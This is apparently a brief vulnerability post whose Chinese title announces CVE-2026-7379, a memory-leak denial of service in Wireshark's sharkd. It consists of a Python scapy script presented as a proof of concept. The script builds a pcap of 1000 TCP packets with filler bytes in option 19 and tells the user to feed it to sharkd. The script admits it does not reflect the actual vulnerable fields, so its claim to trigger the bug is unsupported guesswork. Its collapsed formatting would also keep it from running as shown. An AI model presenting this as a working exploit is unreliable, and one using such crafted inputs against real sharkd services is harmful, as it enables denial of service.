CVE-2026-7379: Wireshark sharkd内存泄漏致DoS漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-7379 (Memory Leak in sharkd) # This script creates a malformed pcap file that may trigger the memory leak. from scapy.all import * import sys # Create a packet structure targeting the vulnerable dissector logic # Real-world exploit would require specific protocol fields based on the advisory. # Here we simulate a payload that forces repeated allocation. malicious_payload = b"\x41" * 1024 # Filler data pkt = Ether()/IP(dst="192.168.1.1")/TCP(dport=80, options=[(19, malicious_payload)]) # Generate multiple packets to exacerbate the leak packets = [pkt] * 1000 try: wrpcap("cve_2026_7379_poc.pcap", packets) print("[+] Payload file 'cve_2026_7379_poc.pcap' generated successfully.") print("[*] Usage: Load this file in sharkd (e.g., 'sharkd -r cve_2026_7379_poc.pcap') and monitor memory usage.") except Exception as e: print(f"[-] Error generating pcap: {e}")